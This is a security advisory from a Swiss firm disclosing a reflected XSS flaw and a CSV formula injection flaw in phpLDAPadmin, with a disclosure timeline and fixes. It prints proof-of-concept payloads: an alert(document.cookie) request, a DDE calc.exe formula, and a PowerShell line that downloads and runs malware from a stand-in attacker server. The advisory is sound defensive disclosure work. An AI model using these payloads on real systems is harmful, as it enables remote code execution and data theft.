Security Advisory: Multiple Vulnerabilities in the Open Source Software phpLDAPadmin

Dec 19, 2024 von Andreas Pfefferle

During penetration testing for our clients, we frequently encounter open source software. This summer, we conducted a security assessment of an identity and access management (IAM) system for one of our customers. At its core, the IAM relied on a Lightweight Directory Access Protocol (LDAP) server. To manage the LDAP system, the open source web application phpLDAPadmin was deployed within the client’s internal network. This software has a history of several vulnerabilities, most of which had been addressed by the time this blog post was written. However, since the last vulnerability disclosure was in 2020, we decided to investigate whether any undiscovered security issues might still exist. Within a short period, we identified two vulnerabilities. While neither is classified as high or critical due to the specific conditions required for exploitation, they still present potential security risks.

It should be noted that at the time of publication of this advisory, the security vulnerabilities had not yet been addressed by the phpLDAPadmin development team. Redguard initiated a Coordinated Vulnerability Disclosure in July 2024, which the maintainers of phpLDAPadmin have not responded to.

The following security vulnerabilities have been identified in phpLDAPadmin:

phpLDAPadmin: Reflected Cross-Site Scripting in entry_chooser.php

A reflected cross-site scripting (XSS) vulnerability in the “Entry Chooser” of phpLDAPadmin has been identified. In entry_chooser.php, user input from the request is inserted in an unsafe manner as an argument to the Javascript “eval” function. This is then executed in the user’s browser.

CVSS v4.0 Score: 2.1 (LOW)

Details

The “Entry Chooser” feature allows phpLDAPadmin users to select an entry in the LDAP tree. The following request can be used to verify the XSS vulnerability:

1
2
3
4
5
6
7
8
9
10
11
GET /phpldapadmin/entry_chooser.php?server_id=1&form=compare_form&element=dn_dst;alert(document.cookie)&rdn=&container=dc%3D<yourdomain>%2Cdc%3Dcom HTTP/1.1
Host: [...]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: [...]
Upgrade-Insecure-Requests: 1
Priority: u=0, i

As can be seen in the code snippet above, the Javascript code ;alert(document.cookie) was also sent via the element parameter. This Javascript code is passed as an argument to the eval() function as shown in the following screenshot and then executed in the browser.


Javascript code passed to `eval()`


The following screenshot shows how the Javascript proof-of-concept is executed in the browser. The screenshot was taken in a test environment in which phpLDAPadmin version 1.2.6.7 was installed, the latest version of the software at the time of writing this advisory.


Javascript PoC executed in browser


The affected code can be found in htdocs/entry_chooser.php. The source code shows that the request parameter element is appended to a string which is passed to the eval() method.

1
2
3
4
5
6
7
8
9
[...]
echo '<script type="text/javascript">';
echo '  function returnDN(dn) {';
printf("    eval ('o = opener.document.getElementById(\"%s\").%s;');",$request['form'],$request['element']);
echo '      o.value = dn;';
echo '      close();';
echo '  }';
echo '</script>';
[...]

However, it should be noted that this XSS vulnerability is probably not directly exploitable by attackers because, as can be seen above in the source code, the variable opener must be set as it is used in the beginning of the eval() statement. This actually happens when the “Entry Chooser” pop-up window is opened.

dnChooser.js:

1
2
3
4
5
6
function dnChooserPopup(form,element,rdn)
{
    mywindow=open('entry_chooser.php','myname','resizable=no,width=600,height=370,scrollbars=1');
    mywindow.location.href = 'entry_chooser.php?form=' + form + '&element=' + element + '&rdn=' + rdn;
    if (mywindow.opener == null) mywindow.opener = self;
}

So if attackers send a direct link to the “Entry Chooser” with corresponding XSS exploit code to the potential victum, opener is not set, consequently there is an error at eval and the exploit code sent via the element parameter is not executed.

This vulnerability is assigned a CVSS score of 2.1 due to its low likelihood of being exploited. However, if the “Entry Chooser” is modified in future versions without fixing this XSS vulnerability, attackers could use this vulnerability to inject malicious code that is executed in the victim’s browser.

Affected Versions

The insecure source code was committed to the repository on 2010-03-14. Thus, all versions of phpLDAPadmin since 1.2.1 are affected by this vulnerability, including the latest version 1.2.6.7.

Suggested Mitigations and Countermeasures

It is recommended to avoid using the eval() function, especially in combination with user-supplied input. Instead of using eval(), it is advised to access the DOM element directly in a safe manner. The following code can guide as a reference:

1
2
3
4
5
6
7
8
9
10
11
12
echo '<script type="text/javascript">';
echo '  function returnDN(dn) {';
echo '      var formElement = opener.document.getElementById("' . htmlspecialchars($request['form'], ENT_QUOTES, 'UTF-8') . '");';
echo '      if (formElement) {';
echo '          var elementName = "' . htmlspecialchars($request['element'], ENT_QUOTES, 'UTF-8') . '";';
echo '          if (formElement[elementName] !== undefined) {';
echo '              formElement[elementName].value = dn;';
echo '          }';
echo '      }';
echo '      close();';
echo '  }';
echo '</script>';

phpLDAPadmin: Improper Neutralization of Formula Elements in phpLDAPadmin

phpLDAPadmin allows users to export elements from the LDAP directory into a Comma-Separated Value (CSV) file, but it does not neutralize special elements that could be interpreted as a command when the file is opened by a spreadsheet product. Thus, this could lead to CSV Formula Injection.

CVSS v4.0 Score: 5.0 (MEDIUM)

Details

Users of phpLDAPadmin can export individual objects, subtrees or the entire LDAP directory in various file types, including in CSV format. However, before generating such CSV exports, potentially dangerous content is not removed or sanitized accordingly. For this reason, CSV exports are susceptible to code injection, as spreadsheet functions can be injected into fields that are executed on client end devices when they are opened.

In various places in phpLDAPadmin, it is possible to enter any character strings and then export them as CSVs. For example, it is also possible to store a Dynamic Data Exchange (DDE) injection payload (=cmd|' /C calc.exe'!'A1') in the field DisplayName.


DDE payload in field `DisplayName`


If a user uses the CSV export function, the value is transferred to the table unfiltered.


CSV file contains unfiltered value


If the data is imported into Microsoft Excel via Data -> Get Data -> From Text/CSV, the DDE may be executed under Windows with or without a prior warning message. The exact behavior depends on the configuration of the client.


Microsoft DDE warning


The behavior can be set in the Microsoft Office Trust Center as follows:


Microsoft Office Trust Center


In this case, the Windows calculator (calc.exe) should be started on the user’s system using the DDE as a proof of concept.


Windows calculator is started as a proof of concept


The possibilities for attackers due to this vulnerability are manifold. For example, attackers could use the above attack to collect basic information about the end device and send it to any server via a web request.

Alternatively, a client can also be used to send a request to any third-party system. It is also possible to reload malicious code, for example with =cmd|'/C powershell IEX(wget https://attacker-server.com/malware.ps1)'!A0. This would allow an attacker to gain control over the victim’s device and control it remotely or exfiltrate any data.

However, it should be noted that “Dynamic Data Exchange” (DDE) objects are deactivated in Excel by default and a warning is displayed when such a file is opened. Such attacks are also comparatively easy to detect by anti-virus solutions and similar protection systems.

Affected Versions

The insecure source code was committed to the repository on 2009-07-01. Thus, all versions of phpLDAPadmin since 1.2.0 are affected by this vulnerability, including the latest version 1.2.6.7.

Workaround

To mitigate the risks associated with CSV Formula Injection exploiting Dynamic Data Exchange (DDE), it is recommended to disable DDE functionality in Office applications, such as Microsoft Excel, on client systems. Disabling DDE reduces the likelihood of malicious payloads being executed when opening CSV files containing injected formulas. To disable DDE functionality in Microsoft Excel, you can open Excel and go to File -> Options -> Trust Center -> Trust Center Settings. Make sure to uncheck the settings Enable Dynamic Data Exchange Server lookup and Allow Dynamic Data Exchange (DDE) Server Initiated Requests.

For organizations managing multiple systems, these settings can be enforced via Group Policy or Microsoft Office administrative templates to ensure consistency across all client devices. This is particularly important in environments where users frequently handle files from untrusted sources.

Suggested Mitigations and Countermeasures

It is recommended that control characters at the beginning of character strings in cells are filtered before CSV export in order to avoid formula injection. As such functions always start with one of the following characters, these can be filtered specifically: - Equal (=) - Plus (+) - Minus (-) - At (@) - Tab (0x09) - Carriage return (0x0D)

When filtering these special characters, care should be taken to ensure that not only the special characters in the first position are removed (for example in +-@=cmd|' /C calc.exe'!'A1'). Instead, all leading special characters up to the first legitimate character should be removed.

As an alternative to the above-mentioned filtering, OWASP suggests also another sanitization method which includes three steps.

Further information can be found in the following references:

Credits

  • Andreas Pfefferle, Redguard AG

Timeline

  • 2024-07-29: Initial notification of the project maintainer via email.
  • 2024-08-11: The project maintainer was contacted again by Redguard via email.
  • 2024-08-20: Opened an issue in Github, asking the maintainer to contact us via email.
  • 2024-09-12: The project maintainer was contacted a third time by Redguard via email.
  • 2024-09-12: Initial contact with NCSC as CNA of Switzerland to assign a CVE.
  • 2024-09-23: CVE-2024-9101 and CVE-2024-9101 reserved by NCSC.
  • 2024-09-26: Contacted the maintainer again via comment in Github issue.
  • 2024-11-07: The Debian maintainer was contacted by Redguard via email after he got involved in the Github issue. On the same day, the Debian maintainer replied back to Redguard.
  • 2024-12-10: Redguard contacted the Debian maintainer to coordinate the further proceedings.
  • 2024-12-16: Informed the project and Debian maintainers via email about the upcoming public vulnerability disclosure.
  • 2024-12-19: Public disclosure of this advisory.

About Redguard

Redguard is a Swiss-based information security company. We assist our clients with technical security testing as well as organizational security audits and consulting. This enables us to have a team with extensive experience in a wide variety of security relevant topics.

Disclaimer

This document is not meant to be a complete list of security issues for any of the mentioned software and/or versions. It is possible, and indeed likely, that there are further security issues that are yet to be identified. The information in the advisory is believed to be accurate at the time of publishing, based on currently available information.

Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties regarding this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.


< zurück